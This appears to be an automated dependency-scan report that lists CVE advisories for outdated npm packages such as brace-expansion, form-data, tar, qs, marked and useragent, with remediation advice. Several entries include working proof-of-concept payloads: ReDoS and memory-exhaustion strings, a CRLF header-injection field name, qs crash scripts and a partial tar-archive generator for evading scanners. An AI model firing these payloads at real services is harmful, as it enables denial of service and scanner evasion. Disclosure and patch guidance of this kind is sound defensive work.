Proof of conceptconst { expand } = require('brace-expansion')
// ~7.5 KB input — crashes the process with a fatal, uncatchable OOM:
// FATAL ERROR: ... JavaScript heap out of memory
try {
expand('{a,b}'.repeat(1500))
} catch (e) {
// never reached — the process is already dead
}ImpactAny application that passes attacker-influenced strings to RemediationUpgrade to a patched release. The fix bounds the total number of characters a After the fix, The fix bounds memory but the algorithm still rebuilds intermediate arrays at If immediate upgrade isn't possible, avoid passing untrusted input to |
📦 Vulnerable Dependencies🔖 Details[ CVE-2026-13149 ] brace-expansion 1.1.11Vulnerability Details
Summarybrace-expansion's expand() exhibits exponential-time - O(2ⁿ) - behavior in the number of consecutive non-expanding {} groups. A short, all-ASCII input (~90 bytes/30 groups) blocks the calling thread for minutes; a slightly longer input hangs it effectively indefinitely. Because the dominant consumers run on Node's single-threaded event loop, one small input can fully stall a worker/process. In const post = m.post.length ? expand_(m.post, max, false) : ['']; // always recurses
...
if (!isSequence && !isOptions) {
if (m.post.match(/,(?!,).*\}/)) {
str = m.pre + '{' + m.body + escClose + m.post;
return expand_(str, max, true); // restart — `post` discarded
}
return [str];
}For input like a{},{},…, the first {} is non-expanding, so control reaches the {a},b} rewrite branch - but The max option does not mitigate this: max only bounds the output-building loops; neither the post recursion nor the rewrite recursion consults it. Measured on 5.0.6:
Proof of conceptconst { expand } = require('brace-expansion');
// 30 non-expanding groups, ~90 bytes — blocks for minutes:
expand('a{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{}');ImpactAny application that passes attacker-influenced strings to brace-expansion.expand() - directly or transitively via minimatch/glob brace patterns - can be driven into a multi-minute-to-indefinite CPU hang by a tiny request, denying service on that thread/process. RemediationUpgrade to a patched release. The fix:
Verified: the PoC drops from ~2 min to 0.55 ms, 5,000 groups complete in ~344 ms, and output is identical to 5.0.6 across a behavioral-equivalence suite (sequences, padding, $-prefix, a{},b}c, {},a}b, x{{a,b}}y, etc.). Post-fix complexity is ~O(n²) on this input class - acceptable for the security fix; a linear rewrite can be a non-urgent follow-up. If immediate upgrade isn't possible, avoid passing untrusted input to expand() / glob brace patterns, or run such expansion under a timeout/worker. [ CVE-2026-12143 ] form-data 2.3.3Vulnerability Details
Summary
This is CWE-93 (CRLF injection). It is a divergence from how browsers and the WHATWG HTML spec serialize form-data (they escape these characters), so the fix is to match that behavior. Severity is conditional: it depends on the consuming application passing attacker-controlled data as a field name or filename. Applications that only use fixed/trusted field names are not affected. DetailsIn 'Content-Disposition': ['form-data', 'name="' + field + '"'].concat(contentDisposition || [])and Proof of conceptconst FormData = require('form-data');
const form = new FormData();
form.append('email"\r\nX-Injected: true\r\nfake="', 'user@example.com');
console.log(form.getBuffer().toString());Before the fix this emits an injected ImpactFor an application that uses untrusted field names/filenames:
Claims of guaranteed privilege escalation, authentication bypass, high confidentiality impact, and availability impact are application-dependent downstream consequences, not properties of SeverityThe demonstrated, library-attributable impact is integrity (field/header injection); there is no demonstrated confidentiality disclosure or availability impact in PatchFixed in 4.0.6, 3.0.5, and 2.5.6. Users on older 0.x/1.x/2.x releases should upgrade to 2.5.6 or later. The fix escapes WorkaroundUntil upgrading, validate or reject field names/filenames that contain control characters before calling if (/[\r\n]/.test(field)) { throw new Error('invalid field name'); }CreditReported by yueyueL. [ CVE-2025-69873 ] ajv 5.5.2Vulnerability Details
ajv (Another JSON Schema Validator) through version 8.17.1 is vulnerable to Regular Expression Denial of Service (ReDoS) when the [ CVE-2024-45590 ] body-parser 1.18.3Vulnerability Details
Impactbody-parser <1.20.3 is vulnerable to denial of service when url encoding is enabled. A malicious actor using a specially crafted payload could flood the server with a large number of requests, resulting in denial of service. Patchesthis issue is patched in 1.20.3 References[ CVE-2024-4068 ] braces 0.1.5Vulnerability Details
The NPM package [ CVE-2024-4068 ] braces 1.8.5Vulnerability Details
The NPM package [ CVE-2024-4068 ] braces 2.3.2Vulnerability Details
The NPM package [ CVE-2024-39249 ] async 1.5.2Vulnerability Details
Async <= 2.6.4 and <= 3.2.5 are vulnerable to ReDoS (Regular Expression Denial of Service) while parsing function in autoinject function. NOTE: this is disputed by the supplier because there is no realistic threat model: regular expressions are not used with untrusted input. [ CVE-2024-39249 ] async 2.6.1Vulnerability Details
Async <= 2.6.4 and <= 3.2.5 are vulnerable to ReDoS (Regular Expression Denial of Service) while parsing function in autoinject function. NOTE: this is disputed by the supplier because there is no realistic threat model: regular expressions are not used with untrusted input. [ CVE-2024-38355 ] socket.io 1.7.4Vulnerability Details
ImpactA specially crafted Socket.IO packet can trigger an uncaught exception on the Socket.IO server, thus killing the Node.js process. Affected versions
PatchesThis issue is fixed by socketio/socket.io@15af22f, included in The fix was backported in the 2.x branch today: socketio/socket.io@d30630b WorkaroundsAs a workaround for the affected versions of the io.on("connection", (socket) => {
socket.on("error", () => {
// ...
});
});For more informationIf you have any questions or comments about this advisory:
Thanks a lot to Paul Taylor for the responsible disclosure. References[ CVE-2023-32695 ] socket.io-parser 2.3.1Vulnerability Details
ImpactA specially crafted Socket.IO packet can trigger an uncaught exception on the Socket.IO server, thus killing the Node.js process. PatchesA fix has been released today (2023/05/22):
Another fix has been released for the
WorkaroundsThere is no known workaround except upgrading to a safe version. For more informationIf you have any questions or comments about this advisory:
Thanks to @rafax00 for the responsible disclosure. [ CVE-2022-38900 ] decode-uri-component 0.2.0Vulnerability Details
decode-uri-component 0.2.0 is vulnerable to Improper Input Validation resulting in DoS. [ CVE-2022-3517 ] minimatch 3.0.4Vulnerability Details
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service. [ CVE-2022-29169 ] useragent 2.3.0Vulnerability Details
ImpactBy using specific a RegularExpression an attacker can cause denial of service for the bbb-html5 service. PatchesGiven the limited use of the Patch in BigBlueButton 2.3.19 WorkaroundsIf you are not able to upgrade to a patched version, you can eliminate the attack surface by disabling NginX forwarding the requests to the handler. Add the following block to your NginX configuration. For BigBlueButton 2.3 or 2.4 a good place to add this block would be in Reload via Test this change by navigating to For more informationIf you have any questions or comments about this advisory:
CreditsWe would like to thank Giang. Võ Quý from VNG Corporation for responsibly disclosing and assisting with the fixing of this security issue. [ CVE-2022-25883 ] semver 5.5.0Vulnerability Details
Versions of the package semver before 7.5.2 on the 7.x branch, before 6.3.1 on the 6.x branch, and all other versions before 5.7.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range. [ CVE-2022-25883 ] semver 4.3.6Vulnerability Details
Versions of the package semver before 7.5.2 on the 7.x branch, before 6.3.1 on the 6.x branch, and all other versions before 5.7.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range. [ CVE-2022-24999 ] qs 6.5.2Vulnerability Details
qs before 6.10.3 allows attackers to cause a Node process hang because an [ CVE-2022-21681 ] marked 0.3.19Vulnerability Details
ImpactWhat kind of vulnerability is it? Denial of service. The regular expression import * as marked from 'marked';
console.log(marked.parse(`[x]: x
\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](\\[\\](`));Who is impacted? Anyone who runs untrusted markdown through marked and does not use a worker with a time limit. PatchesHas the problem been patched? Yes What versions should users upgrade to? 4.0.10 WorkaroundsIs there a way for users to fix or remediate the vulnerability without upgrading? Do not run untrusted markdown through marked or run marked on a worker thread and set a reasonable time limit to prevent draining resources. ReferencesAre there any links users can visit to find out more?
For more informationIf you have any questions or comments about this advisory:
[ CVE-2022-21680 ] marked 0.3.19Vulnerability Details
ImpactWhat kind of vulnerability is it? Denial of service. The regular expression import * as marked from "marked";
marked.parse(`[x]:${' '.repeat(1500)}x ${' '.repeat(1500)} x`);Who is impacted? Anyone who runs untrusted markdown through marked and does not use a worker with a time limit. PatchesHas the problem been patched? Yes What versions should users upgrade to? 4.0.10 WorkaroundsIs there a way for users to fix or remediate the vulnerability without upgrading? Do not run untrusted markdown through marked or run marked on a worker thread and set a reasonable time limit to prevent draining resources. ReferencesAre there any links users can visit to find out more?
For more informationIf you have any questions or comments about this advisory:
[ CVE-2021-43138 ] async 2.6.1Vulnerability Details
A vulnerability exists in Async through 3.2.1 for 3.x and through 2.6.3 for 2.x (fixed in 3.2.2 and 2.6.4), which could let a malicious user obtain privileges via the [ CVE-2021-37713 ] tar 4.4.1Vulnerability Details
ImpactArbitrary File Creation, Arbitrary File Overwrite, Arbitrary Code Execution node-tar aims to guarantee that any file whose location would be outside of the extraction target directory is not extracted. This is, in part, accomplished by sanitizing absolute paths of entries within the archive, skipping archive entries that contain This logic was insufficient on Windows systems when extracting tar files that contained a path that was not an absolute path, but specified a drive letter different from the extraction target, such as Additionally, a This only affects users of Patches4.4.18 || 5.0.10 || 6.1.9 WorkaroundsThere is no reasonable way to work around this issue without performing the same path normalization procedures that node-tar now does. Users are encouraged to upgrade to the latest patched versions of node-tar, rather than attempt to sanitize paths themselves. FixThe fixed versions strip path roots from all paths prior to being resolved against the extraction target folder, even if such paths are not "absolute". Additionally, a path starting with a drive letter and then two dots, like Finally, a defense in depth check is added, such that if the [ CVE-2021-37712 ] tar 4.4.1Vulnerability Details
ImpactArbitrary File Creation, Arbitrary File Overwrite, Arbitrary Code Execution node-tar aims to guarantee that any file whose location would be modified by a symbolic link is not extracted. This is, in part, achieved by ensuring that extracted directories are not symlinks. Additionally, in order to prevent unnecessary stat calls to determine whether a given path is a directory, paths are cached when directories are created. This logic was insufficient when extracting tar files that contained two directories and a symlink with names containing unicode values that normalized to the same value. Additionally, on Windows systems, long path portions would resolve to the same file system entities as their 8.3 "short path" counterparts. A specially crafted tar archive could thus include directories with two forms of the path that resolve to the same file system entity, followed by a symbolic link with a name in the first form, lastly followed by a file using the second form. It led to bypassing node-tar symlink checks on directories, essentially allowing an untrusted tar file to symlink into an arbitrary location and subsequently extracting arbitrary files into that location, thus allowing arbitrary file creation and overwrite. The v3 branch of Patches6.1.9 || 5.0.10 || 4.4.18 WorkaroundsUsers may work around this vulnerability without upgrading by creating a custom filter method which prevents the extraction of symbolic links. const tar = require('tar')
tar.x({
file: 'archive.tgz',
filter: (file, entry) => {
if (entry.type === 'SymbolicLink') {
return false
} else {
return true
}
}
})Users are encouraged to upgrade to the latest patched versions, rather than attempt to sanitize tar input themselves. FixThe problem is addressed in the following ways, when comparing paths in the directory cache and path reservation systems:
[ CVE-2021-37701 ] tar 4.4.1Vulnerability Details
ImpactArbitrary File Creation, Arbitrary File Overwrite, Arbitrary Code Execution
This logic was insufficient when extracting tar files that contained both a directory and a symlink with the same name as the directory, where the symlink and directory names in the archive entry used backslashes as a path separator on posix systems. The cache checking logic used both By first creating a directory, and then replacing that directory with a symlink, it was thus possible to bypass node-tar symlink checks on directories, essentially allowing an untrusted tar file to symlink into an arbitrary location and subsequently extracting arbitrary files into that location, thus allowing arbitrary file creation and overwrite. Additionally, a similar confusion could arise on case-insensitive filesystems. If a tar archive contained a directory at These issues were addressed in releases 4.4.16, 5.0.8 and 6.1.7. The v3 branch of Patches4.4.16 || 5.0.8 || 6.1.7 WorkaroundsUsers may work around this vulnerability without upgrading by creating a custom filter method which prevents the extraction of symbolic links. const tar = require('tar')
tar.x({
file: 'archive.tgz',
filter: (file, entry) => {
if (entry.type === 'SymbolicLink') {
return false
} else {
return true
}
}
})Users are encouraged to upgrade to the latest patched versions, rather than attempt to sanitize tar input themselves. FixThe problem is addressed in the following ways:
CaveatNote that this means that the Users are encouraged to always normalize paths using a well-tested method such as [ CVE-2021-33623 ] trim-newlines 1.0.0Vulnerability Details
The trim-newlines package before 3.0.1 and 4.x before 4.0.1 for Node.js has an issue related to regular expression denial-of-service (ReDoS) for the .end() method. [ CVE-2021-32804 ] tar 4.4.1Vulnerability Details
ImpactArbitrary File Creation, Arbitrary File Overwrite, Arbitrary Code Execution
This logic was insufficient when file paths contained repeated path roots such as Patches3.2.2 || 4.4.14 || 5.0.6 || 6.1.1 NOTE: an adjacent issue CVE-2021-32803 affects this release level. Please ensure you update to the latest patch levels that address CVE-2021-32803 as well if this adjacent issue affects your WorkaroundsUsers may work around this vulnerability without upgrading by creating a custom const path = require('path')
const tar = require('tar')
tar.x({
file: 'archive.tgz',
// either add this function...
onentry: (entry) => {
if (path.isAbsolute(entry.path)) {
entry.path = sanitizeAbsolutePathSomehow(entry.path)
entry.absolute = path.resolve(entry.path)
}
},
// or this one
filter: (file, entry) => {
if (path.isAbsolute(entry.path)) {
return false
} else {
return true
}
}
})Users are encouraged to upgrade to the latest patch versions, rather than attempt to sanitize tar input themselves. [ CVE-2021-32803 ] tar 4.4.1Vulnerability Details
ImpactArbitrary File Creation, Arbitrary File Overwrite, Arbitrary Code Execution
This logic was insufficient when extracting tar files that contained both a directory and a symlink with the same name as the directory. This order of operations resulted in the directory being created and added to the By first creating a directory, and then replacing that directory with a symlink, it was thus possible to bypass This issue was addressed in releases 3.2.3, 4.4.15, 5.0.7 and 6.1.2. Patches3.2.3 || 4.4.15 || 5.0.7 || 6.1.2 WorkaroundsUsers may work around this vulnerability without upgrading by creating a custom const tar = require('tar')
tar.x({
file: 'archive.tgz',
filter: (file, entry) => {
if (entry.type === 'SymbolicLink') {
return false
} else {
return true
}
}
})Users are encouraged to upgrade to the latest patch versions, rather than attempt to sanitize tar input themselves. [ CVE-2021-23358 ] underscore 1.8.3Vulnerability Details
The package [ CVE-2021-23358 ] underscore 1.6.0Vulnerability Details
The package [ CVE-2021-23343 ] path-parse 1.0.6Vulnerability Details
Affected versions of npm package [ CVE-2021-23337 ] lodash 2.2.1Vulnerability Details
[ CVE-2021-23337 ] lodash 4.17.11Vulnerability Details
[ CVE-2021-23337 ] lodash 3.10.1Vulnerability Details
[ CVE-2020-8203 ] lodash 3.10.1Vulnerability Details
Versions of lodash prior to 4.17.19 are vulnerable to Prototype Pollution. The functions This vulnerability causes the addition or modification of an existing property that will exist on all objects and may lead to Denial of Service or Code Execution under specific circumstances. [ CVE-2020-8203 ] lodash 4.17.11Vulnerability Details
Versions of lodash prior to 4.17.19 are vulnerable to Prototype Pollution. The functions This vulnerability causes the addition or modification of an existing property that will exist on all objects and may lead to Denial of Service or Code Execution under specific circumstances. [ CVE-2020-36049 ] socket.io-parser 2.3.1Vulnerability Details
The [ CVE-2020-36048 ] engine.io 1.8.5Vulnerability Details
Engine.IO before 4.0.0 and 3.6.0 allows attackers to cause a denial of service (resource consumption) via a POST request to the long polling transport. [ CVE-2020-28502 ] xmlhttprequest-ssl 1.5.3Vulnerability Details
This affects the package xmlhttprequest before 1.7.0; all versions of package xmlhttprequest-ssl. Provided requests are sent synchronously (async=False on xhr.open), malicious user input flowing into xhr.send could result in arbitrary code being injected and run. [ CVE-2020-26311 ] useragent 2.3.0Vulnerability Details
Useragent is a user agent parser for Node.js. All versions as of time of publication contain one or more regular expressions that are vulnerable to Regular Expression Denial of Service (ReDoS). PoCasync function exploit() {
const useragent = require(\"useragent\");
// Create a malicious user-agent that leads to excessive backtracking
const maliciousUserAgent = 'Mozilla/5.0 (' + 'X'.repeat(30000) + ') Gecko/20100101 Firefox/77.0';
// Parse the malicious user-agent
const agent = useragent.parse(maliciousUserAgent);
// Call the toString method to trigger the vulnerability
const result = await agent.device.toString();
console.log(result);
}
await exploit();
```<br></details>
<details><summary><b>[ CVE-2019-20922 ] handlebars 4.0.12</b></summary>
### Vulnerability Details
| | |
| --------------------- | :-----------------------------------: |
| **CVSS V3:** | 7.5 |
| **Dependency Path:** | <details><summary><b>handlebars: 4.0.12 (Transitive)</b></summary>Fix Version: 4.4.5<br></details> |
Handlebars before 4.4.5 allows Regular Expression Denial of Service (ReDoS) because of eager matching. The parser may be forced into an endless loop while processing crafted templates. This may allow attackers to exhaust system resources.<br></details>
<details><summary><b>[ CVE-2019-20920 ] handlebars 4.0.12</b></summary>
### Vulnerability Details
| | |
| --------------------- | :-----------------------------------: |
| **CVSS V3:** | 8.1 |
| **Dependency Path:** | <details><summary><b>handlebars: 4.0.12 (Transitive)</b></summary>Fix Version: 4.5.3<br></details> |
Handlebars before 3.0.8 and 4.x before 4.5.3 is vulnerable to Arbitrary Code Execution. The lookup helper fails to properly validate templates, allowing attackers to submit templates that execute arbitrary JavaScript. This can be used to run arbitrary code on a server processing Handlebars templates or in a victim's browser (effectively serving as XSS).<br></details>
<details><summary><b>[ CVE-2019-20149 ] kind-of 6.0.2</b></summary>
### Vulnerability Details
| | |
| --------------------- | :-----------------------------------: |
| **CVSS V3:** | 7.5 |
| **Dependency Path:** | <details><summary><b>kind-of: 6.0.2 (Transitive)</b></summary>Fix Version: 6.0.3<br></details> |
Versions of `kind-of` 6.x prior to 6.0.3 are vulnerable to a Validation Bypass. A maliciously crafted object can alter the result of the type check, allowing attackers to bypass the type checking validation.
## Recommendation
Upgrade to versions 6.0.3 or later.<br></details>
<details><summary><b>[ CVE-2019-10790 ] taffydb 2.6.2</b></summary>
### Vulnerability Details
| | |
| --------------------- | :-----------------------------------: |
| **CVSS V3:** | 7.5 |
| **Dependency Path:** | <details><summary><b>taffydb: 2.6.2 (Transitive)</b></summary><br></details> |
TaffyDB allows attackers to forge adding additional properties into user-input processed by taffy which can allow access to any data items in the DB. Taffy sets an internal index for each data item in its DB. However, it is found that the internal index can be forged by adding additional properties into user-input. If index is found in the query, TaffyDB will ignore other query conditions and directly return the indexed data item. Moreover, the internal index is in an easily-guessable format (e.g., T000002R000001). As such, attackers can use this vulnerability to access any data items in the DB. **Note:** `taffy` and its successor package `taffydb` are not maintained.<br></details>
<details><summary><b>[ CVE-2018-20834 ] tar 4.4.1</b></summary>
### Vulnerability Details
| | |
| --------------------- | :-----------------------------------: |
| **CVSS V3:** | 7.5 |
| **Dependency Path:** | <details><summary><b>tar: 4.4.1 (Transitive)</b></summary>Fix Version: 4.4.2<br></details> |
Versions of `tar` prior to 4.4.2 for 4.x and 2.2.2 for 2.x are vulnerable to Arbitrary File Overwrite. Extracting tarballs containing a hardlink to a file that already exists in the system, and a file that matches the hardlink will overwrite the system's file with the contents of the extracted file.
## Recommendation
For tar 4.x, upgrade to version 4.4.2 or later.
For tar 2.x, upgrade to version 2.2.2 or later.<br></details>
<details><summary><b>[ CVE-2017-20165 ] debug 2.3.3</b></summary>
### Vulnerability Details
| | |
| --------------------- | :-----------------------------------: |
| **CVSS V3:** | 7.5 |
Es wurde eine Schwachstelle in debug-js debug bis 3.0.x entdeckt. Sie wurde als problematisch eingestuft. Es betrifft die Funktion useColors der Datei src/node.js. Durch Manipulieren des Arguments str mit unbekannten Daten kann eine inefficient regular expression complexity-Schwachstelle ausgenutzt werden. Ein Aktualisieren auf die Version 3.1.0 vermag dieses Problem zu lösen. Der Patch wird als c38a0166c266a679c8de012d4eaccec3f944e685 bezeichnet. Als bestmögliche Massnahme wird das Einspielen eines Upgrades empfohlen.<br></details>
<details><summary><b>[ CVE-2017-20165 ] debug 2.2.0</b></summary>
### Vulnerability Details
| | |
| --------------------- | :-----------------------------------: |
| **CVSS V3:** | 7.5 |
| **Dependency Path:** | <details><summary><b>debug: 2.2.0 (Direct)</b></summary>Fix Version: 2.6.9<br></details> |
Es wurde eine Schwachstelle in debug-js debug bis 3.0.x entdeckt. Sie wurde als problematisch eingestuft. Es betrifft die Funktion useColors der Datei src/node.js. Durch Manipulieren des Arguments str mit unbekannten Daten kann eine inefficient regular expression complexity-Schwachstelle ausgenutzt werden. Ein Aktualisieren auf die Version 3.1.0 vermag dieses Problem zu lösen. Der Patch wird als c38a0166c266a679c8de012d4eaccec3f944e685 bezeichnet. Als bestmögliche Massnahme wird das Einspielen eines Upgrades empfohlen.<br></details>
<details><summary><b>[ CVE-2017-16113 ] parsejson 0.0.3</b></summary>
### Vulnerability Details
| | |
| --------------------- | :-----------------------------------: |
| **CVSS V3:** | 7.5 |
| **Dependency Path:** | <details><summary><b>parsejson: 0.0.3 (Transitive)</b></summary><br></details> |
The parsejson module is vulnerable to regular expression denial of service when untrusted user input is passed into it to be parsed.<br></details>
<details><summary><b>[ CVE-2026-82417 ] qs 6.5.2</b></summary>
### Vulnerability Details
| | |
| --------------------- | :-----------------------------------: |
| **CVSS V3:** | 5.3 |
| **Dependency Path:** | <details><summary><b>qs: 6.5.2 (Transitive)</b></summary>Fix Version: 6.16.0<br></details> |
### Summary
`qs.stringify()` calls `utils.isBuffer()` on every value it serializes, and `utils.isBuffer()` invokes `obj.constructor.isBuffer(obj)` without checking that it is callable. A value whose own `constructor.isBuffer` is a non-function makes `qs` call a non-callable and throw `TypeError`. Such a value is produced **by `qs.parse` itself** from an untrusted query string when `plainObjects: true` or `allowPrototypes: true` is set, so a pure-`qs` `parse` → `stringify` round-trip — no `JSON.parse` — turns an unauthenticated query string into an uncaught throw.
An attacker-controlled `parse` input reaches the host application's availability asset — via `qs`'s own recommended `plainObjects` mitigation — and triggers an uncaught exception during a `parse` → `stringify` round-trip.
### Details
`utils.isBuffer` runs at `lib/stringify.js:127` for every serialized value:
```js
if (isNonNullishPrimitive(obj) || utils.isBuffer(obj)) { ... }
var isBuffer = function isBuffer(obj) {
if (!obj || typeof obj !== 'object') { return false; }
return !!(obj.constructor && obj.constructor.isBuffer && obj.constructor.isBuffer(obj));
};
Trust Boundary Note
PoC
'use strict';
var qs = require('qs');
var untrustedQueryString = 'x%5Bconstructor%5D%5BisBuffer%5D=y'; // x[constructor][isBuffer]=y
var parsed = qs.parse(untrustedQueryString, { plainObjects: true });
console.log('[parse] kept constructor key:', JSON.stringify(parsed));
try {
qs.stringify(parsed);
console.log('[stringify] no throw (unexpected)');
} catch (e) {
console.log('[stringify] DoS reproduced ->', e.constructor.name + ':', e.message);
}
'use strict';
var qs = require('qs');
try {
qs.stringify(JSON.parse('{"a":{"constructor":{"isBuffer":"x"}}}'));
} catch (e) {
console.log('[A] DoS reproduced ->', e.constructor.name + ':', e.message);
}
'use strict';
var qs = require('qs');
function handleRequestAsync(clientJsonBody) {
try {
setImmediate(function () { // async continuation, outside the try
qs.stringify(JSON.parse(clientJsonBody)); // throws here, uncaught
});
console.log('[handler] returned 200 synchronously; async work scheduled');
} catch (e) {
console.log('[handler] caught synchronously (will NOT happen):', e.message);
}
}
process.on('exit', function (code) {
console.log('[proc] process exiting with code:', code);
});
handleRequestAsync('{"filters":{"constructor":{"isBuffer":"x"}}}');Execution Stepscd poc
npm install qs@6.15.3
node poc02c_isBuffer_qs_only_roundtrip.js # pure qs parse->stringify -> TypeError
node poc02_isBuffer.js # minimal defect -> TypeError inside stringify
node poc02b_isBuffer_async_crash.js # async sink -> uncaught throw -> exit code 1Reproduction Evidence
The pure- ImpactAn unauthenticated request degrades any endpoint that re-serializes deserialized client data with Recommended FixReplace the duck-type with a brand check mirroring var isBuffer = function isBuffer(obj) {
if (!obj || typeof obj !== 'object') { return false; }
if (typeof Buffer !== 'undefined' && typeof Buffer.isBuffer === 'function') {
return Buffer.isBuffer(obj);
}
return Object.prototype.toString.call(obj) === '[object Uint8Array]';
};If duck-typing must remain, require |
📦 Vulnerable Dependencies🔖 Details[ CVE-2026-59875 ] tar 4.4.1Vulnerability Details
Summary
This is a remote denial-of-service primitive against any process that extracts attacker-supplied tarballs through A secondary parser-differential (CWE-436) exists because Root causeVulnerable sink —
|
| Tool | Result for path=visible.txt\x00hidden.txt |
|---|---|
GNU tar (tar -tvf) |
Lists visible.txt (truncated at NUL) |
bsdtar -tvf |
Lists visible.txt (truncated at NUL) |
Python tarfile.list() |
Lists visible.txt\x00hidden.txt (raw) |
node-tar tar.t({file}) |
Emits raw NUL-bearing path (no crash) |
node-tar tar.x({file}) |
Crashes (uncaught throw) |
A pre-flight validator using GNU tar or bsdtar will see a benign filename; the subsequent node-tar extraction blows up. This is exploitable against any architecture that lists-and-validates-then-extracts.
Suggested patch
Match the long-name handler in parse.ts — strip everything from the first NUL onward in parseKVLine value parsing:
--- a/src/pax.ts
+++ b/src/pax.ts
@@ -173,7 +173,7 @@ const parseKVLine = (set: Record<string, unknown>, line: string) => {
const k = r.replace(/^SCHILY\.(dev|ino|nlink)/, '$1')
- const v = kv.join('=')
+ const v = kv.join('=').replace(/\0.*$/, '')
set[k] =
/^([A-Z]+\.)?([mac]|birth|creation)time$/.test(k) ?
new Date(Number(v) * 1000)This matches src/parse.ts:379 and src/parse.ts:386 and closes both path and linkpath sinks in one change.
A defense-in-depth follow-up: add an explicit assert(!v.includes('\0')) (or fail-soft return set) at the top of parseKVLine so malformed PAX records that aren't path/linkpath also can't smuggle NUL into other unanticipated consumers (e.g. third-party readers of entry.header.atime Date objects constructed from Number(v) where v had embedded NUL).
[ CVE-2026-53655 ] tar 4.4.1
Vulnerability Details
| CVSS V3: | 5.5 |
| Dependency Path: | tar: 4.4.1 (Transitive)Fix Version: 7.5.16 |
Summary
tar (node-tar) applies a PAX extended header's size= record (and other PAX
overrides) to the next header entry of any type, including intermediary
metadata headers such as a GNU long-name (L) or long-link (K) entry. Per
POSIX pax, a PAX extended header (x) describes the next file entry, not the
intermediary extension headers that may sit between the x header and the file
it annotates. Because node-tar lets the PAX size override the byte length of
an intervening L/K/x header, an attacker can desynchronize node-tar's
stream cursor relative to every other mainstream tar implementation
(GNU tar, libarchive/bsdtar, Python tarfile, and the now-fixed tar-rs /
astral-tokio-tar).
The result is a tar parser interpretation differential (CWE-436): a single
crafted archive yields a different set of members under node-tar than under the
reference tar tools. An attacker can use this to hide a member from one parser
while it is visible to another, which defeats security tooling whose scanner and
extractor disagree on archive contents (e.g. a malware/secret scanner that lists
entries with one library while a downstream step extracts with another). node-tar
is one of the most widely deployed JavaScript tar libraries (it backs npm's own
package-tarball handling and is a transitive dependency of a very large fraction
of the npm ecosystem), so the blast radius for "files that extract differently
depending on the tool" is broad.
This is the same root cause and fix that was just addressed upstream in the Rust
tar ecosystem (tar-rs / astral-tokio-tar); node-tar carries the equivalent
defect and has no equivalent guard.
Impact
- CWE-436 Interpretation Conflict / inconsistent tar parsing (the same class as
the prior tar "smuggling" advisories GHSA-j5gw-2vrg-8fgx and
GHSA-fp55-jw48-c537). - A crafted archive can present one logical member list to a tool that lists or
scans with node-tar and a different member list to GNU tar / libarchive /
Python tarfile (and vice versa). This lets a malicious file be hidden from a
scanner that uses a different parser than the eventual extractor, or hidden
from node-tar-based inspection while still landing on disk via a systemtar. - No authentication is required; the only precondition is that a victim parses
an attacker-supplied tar with node-tar. Tar archives are routinely fetched
from untrusted sources (package registries, user uploads, CI artifacts,
container layers). - Severity: Medium. Impact is integrity-of-archive-interpretation, not direct
RCE; it is a building block for supply-chain / scanner-evasion attacks rather
than a standalone code-execution primitive.
Vulnerable code (file:line)
src/header.ts (compiled to dist/esm/header.js:49 and
dist/commonjs/header.js:85 in the published tar@7.5.15):
// Header.decode(buf, off, ex, gex)
this.size = ex?.size ?? gex?.size ?? decNumber(buf, off + 124, 12)ex is the currently-accumulated PAX local extended header and gex the
PAX global header. The size override from ex/gex is applied
unconditionally to whatever header is being decoded next — there is no check
that the header being decoded is a real file entry rather than an intermediary
extension header.
src/parse.ts, [CONSUMEHEADER] constructs the next header with the current
EX/GEX applied:
const header = new Header(chunk, position, this[EX], this[GEX])and later branches on whether that header is a metadata entry. this[EX] is
cleared only in the non-meta (real file) branch:
if (entry.meta) {
// L / K / x / g metadata entries: this[EX] is left intact here
if (entry.size > this.maxMetaEntrySize) {
entry.ignore = true
this[STATE] = 'ignore'
entry.resume()
} else if (entry.size > 0) {
this[META] = ''
entry.on('data', c => (this[META] += c))
this[STATE] = 'meta'
}
} else {
this[EX] = undefined // EX cleared only once a real file entry is reached
}When the stream is ordered x (PAX, size=N) -> L (GNU long-name) -> file, the
L header is constructed with this[EX] still set, so its size/remain
becomes N instead of the L payload's true length. node-tar then consumes N
bytes of "metadata" and resumes header parsing at the wrong offset, landing
mid-stream. Every other mainstream parser applies the PAX size only to the
following file entry, so they stay synchronized.
The correct behavior (and the fix shipped upstream in the Rust tar ecosystem) is
to not apply PAX size/overrides when the entry being decoded is itself an
extension header (L GNU long-name, K GNU long-link, x PAX local, g PAX
global).
How input reaches the sink
tar.list(), tar.extract()/tar.x(), and tar.Parse/tar.Unpack all route
every 512-byte header block through Header.decode(...) with the
currently-accumulated EX/GEX. Any consumer that parses an attacker-supplied
archive — tar.list, tar.extract, or piping into the streaming Parser —
reaches the sink. No options need to be enabled; the default code path is
affected.
Proof of concept
Archive layout (all standard, GNU-tar-producible blocks):
block 0 : x header (PAX local extended, typeflag 'x'), its own size = len(pax body)
block 1 : x payload : the single PAX record "...size=2048\n"
block 2 : L header (GNU long-name '././@LongLink'), real size = 13
block 3 : L payload : "longname.txt\0" (the long name for the next file)
block 4 : file header 'file_a', size = 16
block 5 : file_a body (16 bytes, zero-padded to 512)
block 6 : file header 'file_b', size = 16
block 7 : file_b body (16 bytes, zero-padded to 512)
Generator (make_tar.py, pure stdlib, no external deps):
def hdr(name, size, typeflag):
h = bytearray(512); name = name[:100]; h[0:len(name)] = name
h[100:108] = b'0000644\0'; h[108:116] = b'0000000\0'; h[116:124] = b'0000000\0'
h[124:136] = ('%011o\0' % size).encode(); h[136:148] = b'00000000000\0'
h[156:157] = typeflag; h[257:263] = b'ustar\0'; h[263:265] = b'00'
h[148:156] = b' ' * 8
cs = sum(h); h[148:156] = ('%06o\0 ' % cs).encode()
return bytes(h)
def pad(d):
return d + b'\0' * ((512 - len(d) % 512) % 512)
def pax_record(key, val): # length-prefixed PAX record "LEN key=val\n"
